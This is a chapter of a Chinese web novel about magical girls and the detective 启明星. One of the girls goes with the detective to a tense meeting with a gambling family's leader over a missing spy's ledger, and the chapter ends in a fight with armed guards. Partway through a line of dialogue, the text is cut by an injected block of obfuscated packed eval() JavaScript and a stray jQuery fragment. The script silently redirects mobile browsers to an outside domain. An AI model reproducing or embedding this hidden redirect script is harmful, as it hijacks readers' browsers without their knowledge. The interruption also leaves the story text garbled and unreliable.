56.INMATE-002
作品:《四个魔法少女的生存游戏》 2024年4月26日,星期五,天气多云。
据知情人士透露,东流港第14号港区的码头工人代表于昨日与管理方进行闭门会议,表达对“废弃货物处理程序混乱”和“突发安检事件未及时通报”所带来的安全隐患感到担忧,并有意发起短期罢工。码头工人联合协会在本周声明中表示,“将对任何试图以个体事件抹黑整体劳动群体的行为采取合法反制”。
东部市警察局局东流港口分局昨日在第12、14与17号货仓展开例行安检行动。发言人称“未发现安全漏洞”,但有部分货舱封锁时间超过常规,引起现场调度延迟,造成小规模拥堵。
本周三晚,东,南流港工业区、市区与中心港口大道周边出现多批次无标识货运车短时间集结,居民报告“有人员搬运沉重金属罐头进入闲置仓库”,警方称“为企业物流临时转运,暂无异常。”
本地独立游戏公司“Fathom Loop”新推出的第一人称心理恐怖游戏《灯塔之后》上线48小时内好评率超过85%,但通关率却不足3%。游戏描述一名邮政员在被废弃的港口区寻找道具,并逐渐失去感知能力。
上午的课结束后,几人聚集在一起讨论下午的行动。
艾克里普与有乐羽生准备按照启明星的嘱咐前往北边的东流湾港口和大学城。
“果然分头行动比较好吧,艾克里普觉得呢?”有乐羽生问道。
艾克里普对此有些犹豫,一方面她确实并不太擅长与人打交道的事情,一方面她又有些担心有乐羽生独自一人时遇袭。
“实在不行我就跑。”有乐羽生说。
“没错,就该这样。”犬山晓赞同地点头。
“那这样的话就分头行动吧,麻烦羽生去大学城附近进行调查了。”艾克里普想了想说。
“交给我吧,之前我也去过那附近。”有乐羽生笑着点头。
“我们昨天晚上去南流岛附近看了看,也找到了Evo临时存放实验体的仓库!”森山寺未央介绍了她们的好消息。
“真是了不起!”艾克里普夸奖道,“那我一会就去销毁吧。”
“事实上我们想等所有的货物都到齐后一次性全部销毁,打草惊蛇就不好了。”森山寺未雅说。
“也有道理,”艾克里普点了点头,“实验体在未被使用前是无害的,等一等也没关系,启明星侦探也说会帮忙确认状态的。”
“我去找启明星侦探。”犬山晓说,“大家遇到情况一定及时说。”
几人再谈论了一会后就各自分头行动了。
犬山晓回到宿舍遵守启明星给的穿搭指南,从衣柜里翻出来一些以前根本没穿过的衣服往身上套,但却并不自信效果能有多好。
“不需要太过于纠结这方面的问题,只要不穿的像是要去健身房或者出去玩就可以,最好配色和我相似。”启明星当时是这样和她说的,犬山晓理解为需要商务着装。
但问题就在于她常穿的衣服基本上属于这两种场景,她并没有像启明星那样为体型量身定做的套装,最为正式的就是日之森校服,但这是白色的。
看着镜子里的自己,犬山晓不知道这能不能算是过关了,至少全都是黑色的,颜色这方面至少是过关了吧。
抄近路抵达启明星事务所所属的大厦后,犬山晓刚准备就去摁电梯,就反应过来今天大厦门口似乎是有些不同,她回头看向门口停着的黑色私家车,心里有些疑惑。
但这座大厦又不止启明星事务所开着门,犬山晓得不到一个准确的答案索性不去纠结了。
电梯上行,犬山晓独自站在电梯里,有点紧张于启明星一会的反应。
抵达等候区,六十七号提前等候在那里为她推开了门,一如既往地彬彬有礼,自从知道他的来历后犬山晓就一直很好奇这人身上毫无违和感的礼仪到底是从何而来。
“您有更换着装,真是帮大忙了!”六十七号的笑容恰到好处,他一点没给出建议,当然犬山晓也不指望这个人能有自己的一套审美。
启明星事务所内一如往常那样井井有条,只不过咖啡的香气比起上一次浓烈了许多,几乎淹没室内本清新的空气,启明星正在她的办公桌后整理着些什么,她将所有物品塞进一个皮质的文件包,拿起放在一旁的拐杖走向犬山晓。
“感谢您准时赴约,有了您的帮助此程定会顺利达成目标吧,事不宜迟,您若是没有什么东西落下的话就让我们出发吧。”启明星对站在沙发旁的犬山晓说。
越是看着这样的启明星,犬山晓就越发觉得自己与这两人格格不入,她欲言又止。
“您是第一次与陌生人会面谈话吗?”启明星察觉到了她的混乱,带着安慰的口吻问道。
“是的,我其实不太清楚什么样的衣服是合适的,不过总感觉我们不太一样。”犬山晓实话实说,但她同样觉得自己被启明星安慰可能不太合适,“您有意见直接说就可以,不用顾忌我的感受。”
听了这话,启明星竟像是受到了冲击一般退后两步,手掌抚着胸前的领巾表情忧郁。
“居然让您产生了这样的想法,”启明星夸张地摇头,顺手将文件包交给走近的六十七号,“您当然无需与我们一样,您是同行者,是施予援手的好心人,谁能因您的外表对您加以批判呢?”
“没错没错!”六十七号配合地说。
“这样吗?”犬山晓有些不好意思,“我也不知道我看上去怎么样,但若是不会因为这个搞砸一会的谈话的话,那我做的也挺好的吧?”
启明星表情变得严肃了起来,她看着犬山晓,看着对方也因为她的打量变得紧张。
“犬山小姐,让我这样称呼您吧。”启明星说。
“是的。”犬山晓紧张地回答。
“虽然说我邀请您而不是您的同伴作为我的同行者是出于我自己的考量,但毫无疑问,您是一个强大的存在。”启明星说,“不仅仅是您作为魔法少女的能力,也同样是因为您个人。”
“我吗?”犬山晓眼睛稍微睁大了,她自己实在想不出自己除了魔法少女这个身份以外还有什么好强调的,她的一切都基于魔法少女的力量而存在,是靠着她使用魔法少女的力量得到的。
可以说如果她不是魔法少女,那她将不会存在于此,甚至不会有逃离曾经的机会。所以犬山晓一直不愿意思考这样的可能性,连带着对自己的过去避之不谈,也无法相信自己作为一个人进入社会后会发生什么事。
但是她的同伴并不是单单因为她是魔法少女就与她相伴的,这令她充满希望,拥有了正视自己的力量的同时,偶尔也会产生对于找到自我价值的急迫。
“那您是因为什么而选择我的呢?”犬山晓迅速问道,但很快她就意识到这个问题实际上是不合适的。
启明星不可能单单因为她身上的某个性格特征就选择她作为同行者,更多的肯定是因为她作为魔法少女的能力,以及某些细枝末节上的不同吧。
“外表是筹码的添头,您本身的筹码储备足够富裕,为何又担心因包装不够精美就失去坐在赌桌边的机会呢?”启明星说,“从她人的眼光中了解自己是不妥的,但现在是个好机会,您若是对自己的判断不够信任,就请告诉我吧,我定会尽心尽力为同行者提供建议的。”
“要问我的话也可以哦,我最近读了很多书。”六十七号也跃跃欲试地说。
“不,拜托你思考前先和我预告一下。”启明星对六十七号说。
“也可以啦。”六十七号觉得也可以。
“剩下的事情请让我们在前往目的地的路上谈论吧。”启明星说。
“那就走吧。”犬山晓点了点头。
三人下楼,六十七号为二人拉开停在楼下的黑色私家车后座的车门,自己坐副驾驶上。
司机全程没有说任何话,等副驾驶的安全带系好后就启动了汽车,车前座与后座之间有隔板,车窗只能从里面看到外面,座位是黑色皮质的,犬山晓心想要是森山寺未央的话大概又要开始晕车了。
车辆缓缓驶向大路,犬山晓回头看,大厦门前没什么人来往。
“这座大厦目前正式开放营业的确实只有我的事务所,其它楼层在物业管理下不算完全荒废,但也是没有人会使用的。”启明星介绍说。
“我以为这里作为市中心附近,应该不会出现这种情况的?”犬山晓有些意外,这里虽然不算是最核心的商业区,但地理位置上算是市区核心的一部分了。
“这处土地的借地者与所有权拥有者在2014年中旬刚开始建造时发生了些矛盾,案件最终是我解决的,事后这栋大厦差点被划入都市传说发生地之一,本来的用途也被搁置了。我找了一位可靠的房地产业朋友咨询了一番,就将其中的一层长期租下了。”启明星言简意赅地介绍了一番。
“总感觉发生了很多事情啊。”犬山晓有些好奇,“那个原本的用途我能知道吗?”
“这个比起我们一会要讨论的事情不算是机密啦。”启明星笑着说,“建筑承包商是北野氏旗下位于西部另一城市的鲸岛集团建筑业务子公司,她们打算以这栋楼作为分公司地址来着。”
“那为什么不用了呢?”犬山晓有些奇怪。
“鲸岛建筑派来的工程负责人,以及核心的一支队伍全都失踪了。调查结果为所有人在同一时间死亡,依据是我根据血液痕迹在地基内找到的一盒子断手,切面新鲜,断手上有一半的手表,连着手腕一起被切下,秒表统一。”启明星伸出自己的左手,她的手腕上也有一块机械表,她的食指沿着自己的手腕线横着在手臂平行的正中间划过。
“…后来呢?”犬山晓为凶手的威胁感到震惊,她想不通为什么有人要花这么大力气就为让一栋建筑建不成,更别提这栋大厦现在还是被建成了,启明星还租了用作事务所。
启明星看着犬山晓的反应笑了笑,虽然事到如今这样说很奇怪,但犬山晓觉得启明星的所作所为真的和外表有太大的反差了。而且2014年,也就是近11年之前,哪怕是按照启明星自己说的年龄来算,那时她也才17岁左右。
“后来的私人事务就不是我能管的了,得到了报酬之后不久有新的建筑施工队修建那座大厦。大概是重新立项花了些时间,大厦两年后才完工,完工之后也没有对外招租或者被使用。”启明星说。
犬山晓觉得有些奇怪,但她不知道是不是自己想太多了,想起之前启明星说有问题都可以问,她决定还是把自己想问的话说出来。
“为什么调查结果是那样呢?”犬山晓解释自己的疑惑,“我是说,一般来说先将所有人杀死,把死者手上的手表调到同一时间,再砍下来放进盒子里。这样的结果更合理不是吗?”
这对于常人来说是合理的,犬山晓这样想着,也注意到了另一种可能性。
“正如您所言,当时我也是这样想的,而‘同一时间死亡’这个结论并不是我给出的,而是我的雇主。”启明星眨了眨眼,“我的委托目的是寻找失踪人口。”
看到犬山晓欲言又止,启明星笑了。
“现实不是侦探小说,探查真相只是我的爱好,爱好与工作也不是总能重合到一起的。”启明星在笑着说话时嘴角上扬的弧度总是相同的,“并不是每个雇主都能包容我的好奇心,在思考的同时克制自己也是侦探的必修课。”
“爱好与工作不能重合吗?”犬山晓叹了口气,这种时候就该叹气吧,她想。启明星所说的话也都是她的“包装”的一部分吗?怪不得艾克里普也称赞她是个聪慧的孩子。
但犬山晓就连自己的爱好是什么都想不出来,也无法想象自己的未来。吉他算是爱好吗?
“总而言之让我们来聊聊这起案件的前因后果吧?虽然我也才知道部分内容,细节还需要等待一会见面的那位雇主自己阐述清楚。”启明星说着,犬山晓就想起之前她说过的东西。
“关于一个带着账本失踪的人。”犬山晓说。
“没错,这位失踪人士名叫吉田川光,细节不清楚,但既然我不清楚,那就不应该是个重要的人。”启明星理所当然地说。
犬山晓面色疑惑,犹豫这里该不该问。
“您不了解我,所以这里提出质疑也是可以的。”启明星善解人意地说,“这座城市里有头有脸有个人百科页面的角色我都记得一清二楚,例如日之森的校董会成员各自的背景,以及食堂供货商。”
“记得这么多人很厉害啊!”犬山晓赞叹道。
“哪里哪里,应该的。”启明星笑了,“这位吉田川光无关紧要,但她携带着的账本重要性很高,而委托我们寻找她的下落的那位雇主更是个大人物。”
“这很奇怪吧,那位雇主会不会有问题?”犬山晓感到疑惑。
“这位雇主作为朋友还是靠得住的那种,所以我才指望他能为我们提供一些有用的情报。”启明星说。
“这位雇主也是您的朋友吗?”犬山晓意外地说。
“雇主可以成为朋友,朋友也可以考虑雇佣我,但两个身份不存在重叠的机会,无论是对哪一方来说。所以您也不需要看在我的面子上太给那家伙好脸色看哦?”启明星笑着说。
“那我得戴个墨镜吧?”犬山晓无奈地说。
“咦?”启明星真心实意地疑惑了,“您只要不笑就足够有威慑力了哦?”
“是,是这样吗?”犬山晓有些不好意思了。
“此番委托的雇主的名字叫做一二七,一是姓氏,您大概不太了解这个家族,那就由我来大致为您介绍一下这个家族的势力范围吧。”启明星摸出手机搜索了一番,向犬山晓展示了一些照片,“十面骰赌场就是这个家族旗下集团所有的,创始人是该家族前代首领。”
照片中的建筑可以说得上金碧辉煌了,喷泉后方的宫殿式建筑每一处都有灯光璀璨,在黑夜的背景中仿佛一整块在发光的金子一样。
“好亮眼啊。”犬山晓没什么反应,她完全不认识这个赌场,也不认识这个家族,她反而对这个家族的名字有些在意。
“您完全不了解呢,不过这样也好。这个家族的势力范围主要盘踞在更南方的城市以及国外,在这个城市里她们拥有一定数量的赌场和非官方赛马俱乐部管理权。”启明星也没有过多的解释什么,“这个家族核心管理层名字都由一个十面骰子决定,这也是名字看上去不太大众化的原因。所以虽然说是家族化管理制度,但实际上这个家族的成员血脉联系并不强。”
“原来是这样!不过那为什么还要叫做家族呢?”犬山晓问道。
“具体原因不知,但目前为止,该家族的首领皆为血脉相传,可能这是原因之一吧。”启明星说道,犬山晓点了点头。
“而我的雇主,也就是一二七先生,则是该家族的二把手,同时也是上一代家族首领的养子,家族旗下集团的各种账目他都有过目的权利。包括这次丢失的账本。”启明星说。
“这么重要的东西没有云备份什么的吗?”犬山晓问道。
“这也是我好奇的,硬要说为什么账本丢了就找不到内容的话什么原因都能给,但既然委托我来找这位失踪人士,那想必我们必须认定她手里的那份就是珍贵的唯一了。”启明星说。
“所以我们这次是去找人,或者找东西的吗?”犬山晓觉得自己差不多理解了。
“如果仅仅是这样就好了,那位雇主虽然姑且算个正直的人,但那位家族首领却是一位,额,”启明星难得说话有些卡顿,“一位我无论如何都不想对话的人。”
“你们见过面吗?”犬山晓觉得奇怪。
“算是吧。”启明星甚至没有在笑,“家族首领一二三四是上任首领的亲孙,但却是被二把手一二七,也就是上任首领的养子抚养长大的,不过就我的了解那也不能完全说是抚养长大,只能说是给予了间接性的陪伴吧。”
“总感觉很复杂,她是个怎么样的人呢?”犬山晓问。
“确实很复杂,细节就先不多说了。”启明星想了想说,“一二三四为人脾气古怪,与家族内大部分管理层成员关系都不好,但为家族带来了足够的利益,而且重点是,她的手气很好。”
“赌博的话,那就是手气很好了吧。”犬山晓说。
“是的,她的名字四个字是四个十面骰依次开出的,这件事是公开的。”启明星说,“一家族非常看重人运,一次两次还好说,长期如此就是实力的一种了。而且上一任首领更是一代传奇,被她指定的继承人,还是血脉相连的亲人,自然是有拥护者的。”
“这样啊。”犬山晓虽然不理解但是觉得很厉害。
“总而言之希望这次不会与她产生交集,但是就最近种种现象来说这种可能性很小。”启明星后面那一句说的声音很小。
到底是什么样的人能让启明星侦探都不愿意与之对话呢?犬山晓心想,然后她发觉自己实际上难以想象这样的存在,这位侦探似乎对谁都能做到笑脸相迎,但说到底她与启明星还不算太熟。
启明星又向犬山晓介绍了一番一会要去的目的地,以及可能会遇到的情况,好让她到时候不会太紧张。
车辆又一次停下后,车门被拉开了,六十七号站在门外等着,手里好好地拎着文件包。
犬山晓下车,发现自己所处的位置是一处酒店的上下客区,不远处就是旋转门,空旷的大堂空间内一座约7米高的树型雕像清晰可见,那树是金色的,上面挂满了十面骰。往里看两侧是上行的楼梯,靠墙的两边有着些许柜台和服务人员。
出发到现在大概过去了二十分钟,犬山晓没怎么来过这片区域,但知道这里是城市南边的地段。
启明星下车后整理了一下领口,拄着拐杖往大堂走去,门童提前拉开门,三人进入后直接走向电梯间,使用最内侧的私人电梯直达酒店最顶层。电梯内,犬山晓就着墙面反射整理了一下衣服,想起刚才启明星说的话,自觉地扳起了表情。
“犬山小姐不用太紧张,顺利的话半小时内就能结束对话。”启明星说。
但言下之意就是可能会有不顺利的情况,犬山晓表情更僵硬了些。
电梯门开了,有侍者等候在门外,见门开了先是行了礼,随后带着三人穿过走廊并打开包间的门,并等在门外并没有和三人一同进入。
进门后第一眼就能看到视线前方占据一整面墙的巨大落地窗,以及会客厅内的陈设摆件,地毯花纹繁复,犬山晓心想这里的挂画数量和有乐羽生家里的有的一拼。
室内没什么特殊的香氛,但也没有陈旧的气息,绒面的沙发组大小恰到好处,不会让室内空旷得像是半成品,也不会让空间显得拥挤。
一个穿着全套棕色西装的男子朝启明星走去,看样貌大概30-40岁之间。他身高比六十七号矮上些许,头发束在脑后,全身上下仪表无可指摘,只有眉头习惯性地皱着。
二人脱下手套握了手之后简单地寒暄了一番,启明星将外套和拐杖交给六十七号,接过文件包后所有人到会客区入座。
一二七对于启明星身后跟着的两个人没什么意见,启明星简单介绍了一番,他也就简单地问了一下好。
金属镶边的石材不明茶几上没有什么摆件,而是放着些纸张,那人,也就是一二七在落座后将部分纸张交与启明星,她迅速地翻动几次之后就放下了。
“账目金额近一百亿,不算小了,昨天我才收到消息但事发到目前为止已经过去了两天,希望您已经做好了面对坏消息的打算。”启明星保持微笑说。
一百亿是多少?犬山晓心里盘算着这个对她而言过于陌生的数字,表情没什么波动。
“您说笑了,”一二七并没有笑,“既然能找上您那就是这件事还有被解决的可能性。”
光是看着这样的场面,犬山晓很难相信这两人是朋友,但或许大人间的友谊就是不流于表面的呢?她用余光看了一眼坐在启明星左侧的六十七号,却发现对方已经就着位置方便看着窗外发起了呆。
“那就来解答我一些必要的疑问吧?”启明星重点强调了“必要”两个字,“吉田川光难道是某位外派审计?为何这种大面额账目账本会经由她手?无论是主动还是被动都不合理的。”
“当然。”一二七的语气平板无波,“这是因为吉田川光是不明势力派遣来偷窃公司机密的间谍,她处心积虑混入财务部门就是为了这样的目的。”
“为了偷窃这个账本?”
“自然如此。”
“那这份账本的特殊之处是什么呢?”
“…”一二七看向启明星,紧张的却是犬山晓,她不认为这个面容严肃的男人能伤害到她们,但她担心委托出现问题。
“找人可不比找猫狗,信息自然是越多越好啦。”启明星笑容丝毫未变。
“…这份账本记录的金额都是需要被特殊处理的。”一二七说,他的声音很沉。
“这样啊,”启明星恍然大悟,“那不应该是消失了更好吗?还是说这个账本的存在有什么必要吗?有了原因我才好找到‘不明势力’嘛。”
“当然是为了家族的稳定以及获利,启明星侦探想必最近也因市区动乱而烦心吧。”一二七面无表情地说,“我们也希望尽量在这场动乱中维持自身的立场,并且借此机会名正言顺地更进一步。”
“…那就不奇怪了,”启明星不知道想到了什么,若有所思道,“那就以此为准吧,可能会有动机的对象除了你们的老对头以外,大概也没什么对你们有威慑力的存在了吧,除了一个。”
启明星看着一二七开口,“盘踞在港口的天不渡,这些人偶尔也会想看看其它家的生意做的怎么样吧。”
“与这件事无关。”一二七迅速地否认了。
“怎么会无关呢,您带来的资料中的信息也与天不渡的作风吻合吧,若是要否定的话可否给我一个合适的理由呢。”启明星笑着说。
“不需要理由,你要是真的认真看信息了就会知道我说的是对的。”
“就是认真看了我才这样说,对鄙人的职业素养进行贬低可真是不好。”
“…你对雇主的态度该改改了,将目光放在目标上才是妥当的做法吧。”
“将目光放在目标上发现路径上存在着不可饶过的信息那就不得不停下观看了不是吗,与其否认我的做法不如否认我的想法。”
“你若是沿着这条路走最后之后一无所获,这是浪费时间,这就是理由。”
“…这不是理由,您这是在指导一个侦探如何调查线索吗?指导我启明星?”
“是又如何?你别忘了现在你也算是家族外部合伙人,按照规矩你就该听我说的做。”
“哈哈哈瞧您说的,合伙人不就是给予专业方面的帮助的人吗?您都这样推着我走了我该如何给予专业帮助?”
“到底要我怎么说你才能理解你这样想只是在做无用功?还是说你又在旁敲侧击什么东西了?这次说情况不一样,不要搞这些小动作。”
“小动作有没有用是结果说的算,我哪次没给您一个满意的回复?合作这么多次了不如就这次别像个侦探剧里的警探一样质疑我的做法了如何?”
二人情绪平静但语速越来越快,启明星保持微笑,一二七保持面无表情,但两人间气氛就是越来越僵硬,仿佛下一刻就要不欢而散了一样。
“那些人与这件事无关,”一二七的语气带上了威胁,“这句话由我负责。”
这个时候是不是该做些什么?犬山晓看看两个人又看看还在发呆的六十七号,几乎要维持不住自己的表情了。
“…好吧,如您所言。”启明星笑了笑,“那就来看看别的东西吧。”
气氛一下子就松懈了下来,启明星拿起桌面上的纸张。
“那接下来就该去这里进行调查了吧?”启明星说着,“吉田川光最后出现在监控中是在两天前的傍晚,随后监控记录丢失,但现场留下了她的血迹。”
“这里就是您的专长了,”一二七郑重地说,“请您务必,尽快找到这个人,和这个账本,并把它们带回来给我。”
“…当然。”启明星眼睛眨了眨。
忽然,电话振动的声音响起,但这个包厢理应不存在信号,除非是紧急通话。
启明星知道并不是自己的手机,她看向一二七,发现对方的表情一瞬间变得十分凝重,甚至有些像是在忍耐痛苦,面色都白了几分。
“请自便。”启明星说,她忽然就有种不好的预感。
一二七点了点头,带着手机去了隔间。
“没关系了吗?不吵架了吗?”犬山晓紧张地问。
“诶结束了吗?”六十七号回过神来。
“不如说刚开始,而且我总有种不好的预感。”启明星抿了抿嘴,“犬山小姐,一会可能会需要您出场,请看我眼色行事。”
“哦好,那我坐您左边吧。”犬山晓点了点头。
“好吧。”六十七号失望地与犬山晓换了座位。
不一会,一二七就回到了会客厅,他看上去与离开前没什么不同,但启明星看着他走回沙发坐下,愣是看出了一种员工被通知加班的疲惫感。
“我们的首领,一二三四大人希望与您会面。”一二七面无表情地说。
“…这个案件的委托人居然是如此大人物,”启明星保持微笑说,“具体时间是?”
下一秒,包厢的门被侍者打开了,按理来说包厢外的走廊也是安静的,但此时随着空间隔阂被取消,噪音莫名就多了起来。
皮鞋在瓷砖上踢踏作响,来者并非一人,启明星站了起来,犬山晓和六十七号也跟着站了起来。一二七站了起来,有些匆忙地朝门口走去。
比身影先抵达门口的是布料摩擦的声音,随后是声音制造者,一位身披经典款式方格纹西装外套的青年,她最为显眼的是那头如狮子围脖般蓬松的长发,令人眼花缭乱地搭在花哨的外套上,展现着其不可忽视的存在感。
启明星对那张脸不算陌生,那位经常登上杂志报纸的前任家族首领与这位有着相似的眉眼,但一二三四的眼睛几乎是瞪着的,与那位像是在思考般的垂眸不同,让启明星想起在搜寻猎物的肉食动物。
“七叔,别来无恙啊!”一二三四像个健谈的小辈一样笑着和一二七打了招呼,她插在口袋里的双手没拿出来,只是朝对方象征性地点了点头。
“承您吉言,”一二七的神色并没有因此就放松几分,“让我来介绍一下吧。”
“不,不用,”一二三四眼睛直直地看向启明星并朝她走了过去,步伐缓慢但每次都跨度可观,“我怎么会不认识这位为家族排忧解难多次的侦探,久仰大名,您果然如传言那样,身姿令人难忘。”
说罢,她伸出右手像是要握手,启明星垂眼,不出意外地发现对方没摘手套。
“那可真是令鄙人感到荣幸,您的身影也是如此令人难忘,有这句话再困难的任务鄙人都定会全力以赴。”启明星笑着摘了手套与之握手,象征性地触碰了一下后就松开了。
跟在一二三四身后的那些人大多神情疲惫或紧张,但依旧前仆后继地跟上了她的脚步,本宽敞安静的空间一瞬间变得拥挤而吵闹了起来。
“哎呀,瞧瞧这是什么,启明星侦探?”一二三四走到茶几边上,微微俯身,单手指尖翻动起了桌上的纸张,毫无章法的乱翻让本来整齐的桌面变得凌乱了起来。
“是关于吉田川光的案件细节,刚刚我与启明星侦探在讨论调查内容,现在她正要出发前往现场,您若是希望得知细节就由我来介绍。”一二七在一旁解释道。
但一二三四只是扔下了那些纸张,部分飘落在地板上,她看都没看一二七一眼,只是直勾勾地看着启明星,因为高低差,这几乎是在单方面的俯视。
此人一出场就让犬山晓内心警铃大作,即使对方没有和她对话,但那存在感近乎是侵入式的,她去观察启明星的眼睛,却发现她的目光与往常并没有什么不同。
“当然,鄙人乐意至极。”启明星笑着说,“劳烦您大驾光临这座城市,虽然没有茶水招待,但也请坐吧。”
“…哼。”一二三四收敛了笑容,将外套一扔,坐在了沙发上,一二七顺手就捞起了外套,并抖了抖挂在一旁的衣架上。包括他在内的所有人站在沙发后方,一二三四把腿搭在茶几上,皮鞋压着纸张,双臂环抱。
这样一看一二三四居然是在场的人里最年轻的那个,但她既不尊老也不爱幼就是了。
启明星也坐下,犬山晓非常自觉地站在沙发后面,也拉着想坐下的六十七号站了过去。
“那么关于这件事您想从哪里开始了解呢?”启明星将手覆盖在双腿交叠的膝盖上方。
“以问题来开始对话,你是警察吗?”一二三四嗤笑了一声,她的声音非常响亮。
“那就从最基础的开始吧,吉田川光作为间谍带着大额账本潜逃。”启明星说。
“这个还用你说?”一二三四不耐烦地说,她一边的眉毛扬起轻蔑的角度。
这不是你问的吗?犬山晓感到不适,一二三四光是坐在那里就在不分你我地施加压力,一开口,在场的所有人除了六十七号,都会莫名感到疲惫。
“是鄙人唐突了。”启明星笑了笑,“一二七给鄙人带来的相关信息中包含了吉田川光最后出现的地点,现场留下了她的血迹,这就是下一步调查目标。以上就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807989|173535||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是全部内容了。”
确实是全部内容了,毕竟没有谈及那些争论的内容。
“哦,”一二三四看了眼站在一旁的一二七,“是这样吗,七叔?”
“我并没有需要补充的东西。”一二七低着头说。
“这么点东西要来这里谈?”一二三四笑了,她的眼睛从一二七的脸上划过,又划过犬山晓和六十七号,最后再次定格在启明星的独眼上,“找到那家伙要多久?”
“按照流程的话…”
“最快,要多久。”一二三四问,语气是肯定句式。
“…最快也要明天了。”启明星说。
“要这么久做什么?你也像那群公务员一样要走程序吗?”一二三四不屑地问。
“取证后得到DNA验证…”
“别找理由。”一二三四再次打断启明星说话。
犬山晓听见启明星深呼吸的声音了。
“总之,这并不是我能决定的。”启明星问,“您想要多快呢?”
“嗯,”一二三四像是在思考,又像是在等候脑子里的骰子停下来,“一会吧,最迟今天晚上。”
“恕我直言,这做不到。”启明星笑着说。
在一二三四有所发言之前,她身后的一些人先动了。
“你这家伙说话懂点分寸啊!”其中一人斥责道。
“首领下达命令后你要说的只有一个字,知道吗?”另一人眼神锐利,声音像是在威胁。
“为你的无理道歉!”另一人命令道。
那三人即使是站在沙发后方也难掩身上的危险气质,她们与一二七有着相似但不同的气质,更加具有攻击性,毫无疑问是武装人员。
一二三四看着启明星,启明星看向犬山晓,犬山晓点了点头,是时候了,就是现在。
“到时候如果对方要求太过分了就是在试探我们的底线和势力,到时候麻烦犬山小姐帮我镇住对方。”启明星之前是这样和犬山晓说的。
“镇住,是指什么?”犬山晓不太理解。
“分情况吧,如果对方只是蠢蠢欲动的话那就威吓一下,如果对方即将动手了那就给点颜色看看,总之让对方蠢蠢欲动的手收回去就算成功。。”启明星是这样说的,犬山晓不知道两者的区别是什么,但她是这样想的:如果只是动手的话六十七号也能做到,那既然专门拜托她做这件事,那就是要做六十七号做不了的事情。
那一定是为启明星侦探发声吧!犬山晓心想,启明星侦探一定是有些话不太方便直接说,那就由她来说吧!
但启明星认为六十七号做不到的事情更基础一点,那就是看眼色。若是让六十七号这样做,那他要么全程盯着启明星的脸看要么干脆就全程发呆。
总之先重复一下启明星侦探的想法吧,犬山晓心里有了决断。
“明天不行吗?”犬山晓问。
“哈?”“你谁啊?”“?”没有得到任何正面答复,但不知为何一二七的神色痛苦了些许。
但这也让一二三四注意到了犬山晓的存在,她看向这个站在后面的人,带着审视的目光将对方全身上下扫了一遍。
“侦探,”一二三四嘲笑道,“你从哪里找了个这么个矮子当保镖?”
虽然知道自己比身边的人都矮一些,也不太在意这个问题,但第一次被这样嘲笑身高的犬山晓被一二三四直白的嘲讽击中了,她不可置信地看向对方,却发现对方连看都没有正面看向自己。
这就是社会吗?犬山晓觉得自己应该说些什么,但她又不知道该说什么。她一瞬间觉得自己好无能。
“犬山小姐是鄙人邀请的同行者,并不是保镖,请慎言。”启明星的笑容收敛了些。
听到姓氏后一二三四的视线再次往犬山晓的身上投去,但很快她就收回了。
“效果而言不是差不多?还是说你只是想让自己看上去没那么突兀?这样的做法有失关怀吧?”一二三四不留情面地嘲讽,她下巴扬起,几乎是在坐着俯视对面的人。
“咦?”六十七号察觉到了不对,“我觉得我很高啊?”
“…我说了你在思考前要向我报告吧?”启明星看向六十七号,不出意外,一二三四那边的人都面带嘲讽地看着她们,除了一二七,他很疲惫。
“犬山小姐,我是不是和你说过,不知道的事情可以问我?”启明星叹了口气,看向犬山晓。
“…我是不是又搞砸了什么?”犬山晓沮丧地问,她甚至不知道自己该问什么,只能用这样的回应去向承受压力的启明星道歉。
“怎么会呢?我可是启明星,没什么好道歉的,因为结果总会偏向我想要的那个选择。”启明星笑了,“我来猜猜看,或许您想问,这个时候该说些什么去回应对面比较好呢?”
“…是的,但这会不会不太好?”犬山晓问。
“你们两个,自顾自地在聊什么呢?”一二三四质问的声音传来,犬山晓看向她,发现她的笑容消失了。
说到底,这位首领无论是否清楚自己是无礼的,都不允许任何人无视或者反对她。
“不,我们是同行者,您得到重视就是我得到重视。”启明星说,“但您的回应可以根据您想要的结果来决定,您是想出一口气,还是让对方答应您的要求?”
“喂。”一二三四得不到回应,脸色冷了下来,她身后的人也有所动作。
“我想让对方答应要求,因为我并不生气。”犬山晓如实回答,因为身高并不是她的痛处,哪怕对方再如何嘲笑她都只会觉得莫名其妙,只是因为对方言辞间的轻视感到了不舒服。
“没有感情前提下让对方答应要求无非威逼利诱,对方态度坚决,不会倒戈。”启明星想了想说,“让对方害怕吧。”
“害怕,她吗?我该怎么做呢?”犬山晓还是不理解要怎么做才能让对面的人退缩。
“…”一二三四瞪着的眼睛眯了起来,瞳孔合在眼眶里显得深沉,启明星觉得现在的她看上去更像是她的祖母了。
“抱歉,这件事是我没有提前说明。”一二七知道这是她真的生气了,连忙道歉,但一二三四只是回头看了一眼,他就不说话了。
“对方不过是在仗着人多试探我们的底线而已,刚刚开口的三人是负责护卫的人,击倒她们就可以。”启明星刻意让对面的人听到她在说什么,“其中二人带枪,三人均带刀,最右边的那个人是最强的。”
“啊还有,”启明星补充道,“最好不要弄坏这里的设施。”
犬山晓看向对面三人。
“愣着做什么?”一二三四斥责道。
最右边那个人先动了,她本就一直放在口袋里的那只手瞬间掏出,停住的一瞬间就要扣动扳机,但目标却不见了,大感不妙之下她向后退去,但比那更快的是落下的犬山晓,在多人的注视下她无法使用魔法,但她本身身体机能就足以应付这一切。
而且之后还要合作的话,不要下死手比较好吧,犬山晓心里这样想着。
“卡拉——”这是手骨断在袖子里的闷响,随后她抓着那人的下巴一个翻身,将她整个人摔在地上,头着地晕了过去。
剩下的两人中持枪的那个迅速开枪,没有顾及生死不明的队员,犬山晓头都没有回,向前一扑,子弹只擦中了她的发丝,她双手撑地旋身一踢,持枪的那人便一一个看了会觉得腰痛的姿势倒下了。
